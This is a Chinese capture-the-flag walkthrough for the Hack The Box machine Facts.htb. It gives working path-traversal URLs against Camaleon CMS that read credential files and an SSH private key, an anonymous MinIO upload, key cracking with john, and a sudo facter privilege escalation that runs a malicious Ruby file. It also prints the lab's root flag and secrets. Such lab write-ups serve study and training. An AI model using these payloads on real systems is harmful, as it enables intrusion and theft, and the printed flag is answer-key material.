当前位置: 首页 > news >正文

HTB 靶机渗透攻略:Facts.htb

从信息收集到 Root 权限的完整攻击链解析

攻击链总结

  1. 端口扫描→ 发现 Web 应用 (80) 和 MinIO (54321)
  2. Web 指纹→ 识别 Camaleon CMS 2.9.0
  3. 目录爆破→ 发现后台注册、登录、Media 管理
  4. 权限获取→ 注册普通用户进入后台
  5. 漏洞利用→ 利用路径遍历 (CVE-2026-1776) 读取敏感文件
  6. 密钥获取→ 读取 master.key 和加密凭据,尝试解密失败
  7. 密钥生成→ 读取数据库 admin 哈希,破解失败
  8. 密钥突破→ 读取用户私钥,破解密码 “dragonballz”
  9. 初始访问→ SSH 登录 trivia 用户
  10. 提权→ sudo facter 加载恶意 Ruby 文件读取 root flag

1. 初始侦察:端口与服务发现

首先对目标 IP10.129.244.96进行全端口 TCP SYN 扫描,获取开放端口:

nmap -p-65535 -T4 --min-rate=1000 -sS -Pn 10.129.244.96

结果:

  • 22/tcp— OpenSSH (Ubuntu)
  • 80/tcp— HTTP (nginx 1.26.3)
  • 54321/tcp— 未知服务 (后续识别为 MinIO)

关键决策:端口 54321 是一个非标准端口,后续单独扫描版本信息。

2. Web 应用指纹识别与路径暴力破解

访问http://facts.htb发现是一个名为 “facts” 的网站,响应头中有_factsapp_session,页面引用了camaleon_first主题和/assets/camaleon_cms/...路径,初步判断为Camaleon CMS(Ruby on Rails 应用)。

添加域名解析后,使用 gobuster 进行目录爆破:

gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,js,css -t 50

发现关键路径:

  • /admin→ 302 重定向到/admin/login
  • /admin/register→ 注册页面
  • /admin/media→ 文件管理器
  • /search→ 搜索功能
  • /ajax→ AJAX 接口
  • /up→ 健康检查端点

线索关联:Camaleon CMS 历史上存在文件上传和路径遍历漏洞,为后续突破奠定基础。

3. 注册账户进入后台与版本确认

访问/admin/register创建账户testuser123 / Test1234!,成功登录后台,在 Dashboard 底部发现版本信息:Camaleon CMS 2.9.0

浏览后台功能,发现Media 管理中存在文件上传功能,但上传 PHP 文件时被拦截:File format not allowed (image)

尝试上传 .pht、.phtml、图片马等均失败,或服务器返回 500 错误,上传的图片马在/randomfacts/shell.png可访问但不解析 PHP。

阻塞点:直接上传 webshell 这条路被堵死,需要寻找其他攻击面。

4. 发现 MinIO 服务并尝试匿名写入

对端口 54321 进行服务版本探测:

nmap -sV -p 54321 10.129.244.96

识别为MinIO对象存储服务器。进一步测试发现:

  • 访问/randomfacts/返回 XML 存储桶列表 → 允许匿名读取
  • 使用 PUT 请求上传测试文件成功 → 允许匿名写入
curl -v -X PUT http://10.129.244.96:54321/randomfacts/test_upload.php -d @/tmp/test_upload.php

返回 200 OK,且文件出现在存储桶列表中。但通过 Web 访问该文件时,PHP 代码未被解析,仅作为文本显示。

关键点:MinIO 匿名读写权限存在,但存储桶目录不执行 PHP,需要寻找其他方式获取代码执行或凭据。

5. 利用路径遍历漏洞(任意文件读取)

根据 Camaleon CMS 2.9.0 已知漏洞,后台/admin/media/download_private_file端点存在路径遍历,允许已认证用户读取任意系统文件。

成功读取/etc/passwd,确认漏洞存在:

http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd

此漏洞成为后续信息收集的**核心手段**。

6. 获取 Rails 应用敏感文件

利用路径遍历,读取 Rails 应用根目录下的关键文件:

  • Puma 配置../../../proc/self/cwd/config/puma.rb→ 确认应用路径
  • master.key../../../proc/self/cwd/config/master.key→ 获取解密凭据的主密钥b0650437b2208a9fab449fb92f67bc40
  • credentials.yml.enc:加密的凭据文件
  • database.yml:确认使用 SQLite3,数据库路径storage/production.sqlite3
  • Gemfile.lock:确认 Rails 版本 (8.0.2.1) 及 activesupport 版本

尝试多种方式解密凭据文件均失败(mismatched digest),暂时搁置。

7. 提取数据库并破解管理员哈希(失败)

下载生产数据库:

http://facts.htb/admin/media/download_private_file?file=../../../proc/self/cwd/storage/production.sqlite3

用 sqlite3 查询用户表,得到 admin 用户的 bcrypt 哈希:
$2a$12$9lLBXaBzcTxohKjxX08aR.WmE7qyhwpl0NGGBLbKDi6t.PB5zdJcK

使用 hashcat / john 破解速度极慢,放弃此路。

8. 获取加密 SSH 私钥并破解密码

通过路径遍历读取 SSH 配置文件/etc/ssh/sshd_config,确认允许公钥认证。

尝试读取用户trivia的私钥:

http://facts.htb/admin/media/download_private_file?file=../../../home/trivia/.ssh/id_ed25519

成功获取加密的 OpenSSH 私钥。使用 ssh2john 提取哈希并破解:

ssh2john id_ed25519_trivia > trivia.hash john --wordlist=/usr/share/wordlists/rockyou.txt --rules trivia.hash

几分钟后破解出密码:dragonballz

9. SSH 登录获得初始 Shell

ssh -i id_ed25519_trivia trivia@facts.htb Enter passphrase for key: dragonballz

成功以trivia用户登录,用户组为trivia

10. 本地提权 (root)

执行sudo -l发现关键信息:

User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter

facter是 Puppet 的系统信息收集工具,支持加载自定义 Ruby 事实文件。利用此功能读取 root flag:

mkdir -p /tmp/facts cat > /tmp/facts/root_flag.rb << 'EOF' Facter.add('root_flag') do setcode do File.read('/root/root.txt').strip end end EOF sudo /usr/bin/facter --custom-dir /tmp/facts root_flag

输出 root flag。

11. 获取 Flag

92ca4cf1425d687fc3feba97d5ff9b79

http://www.jsqmd.com/news/820574/

相关文章:

  • 基于Terraform的AWS事件驱动架构:S3、Lambda与SQS自动化文件处理流水线
  • 2026年4月卡座床头软包门店推荐,专业沙发翻新/卡座床头软包/红木家具维修保养,卡座床头软包门店哪个好 - 品牌推荐师
  • 开源大模型本地化部署:构建个人AI助理的架构与实践
  • 基于微软Edge TTS的本地免费语音合成工具claude-speak实战指南
  • 【逆向实战】从CTF题目crypt.exe剖析RC4算法在软件保护中的应用与破解
  • httpd 2.4 虚拟主机 + **独立日志** 超详细教程
  • 无代码构建AI智能体:Databerry实战指南与RAG应用解析
  • InfluxDB Studio:时间序列数据库的终极可视化解决方案
  • Mantic.sh:模块化Shell脚本框架,打造高效终端开发工作流
  • Kapp Controller:Kubernetes声明式应用交付与GitOps实践指南
  • 维普「智能检测4.0」算法5项指标拆解!3分钟看懂为什么改稿没用!
  • 马上开课!因果推断与机器学习训练营,10天带你写出能“下结论”的论文!
  • AI扩展开发实战:基于haliphax-ai/extensions构建大模型插件系统
  • [K8S小白问题集] - Calico好在哪里?
  • 终极免费指南:如何简单快速重置JetBrains IDE试用期
  • Python问财API终极指南:快速构建你的金融数据采集系统
  • 3D打印DIY相机电动滑轨:低成本实现专业级平滑运镜
  • 统信 UOS V2500 服务器部署 OpenClaw AI Agent 全流程实践指南
  • 【企业级Linux系统管理模块】测试题-20260514-001篇
  • android C++降低图片亮度 opencv 效果
  • AI智能体扩展开发实战:基于标准化协议构建可插拔工具生态
  • CentOS 7.9 + Apache HTTPD 2.4(生产级企业应用)
  • 开源镜像站架构与部署实战:APT、Docker、PyPI同步与性能优化
  • 《无人机维修培训哪家好:排名前五 专业深度测评解析》 - 服务品牌热点
  • 告别意外锁屏!3分钟掌握Windows防休眠神器NoSleep的终极指南
  • Ds18b20数字温度传感器
  • AI编程助手安全指南:用cursor-rules为代码编辑器设置智能护栏
  • 开源爬虫框架OpenClaw深度集成Bitrix24:企业级数据自动化采集实战
  • 工业意识:11老手血泪Tips + 新手避坑清单
  • 数据库系统原理 · 关系数据理论与模式求精 · 自学总结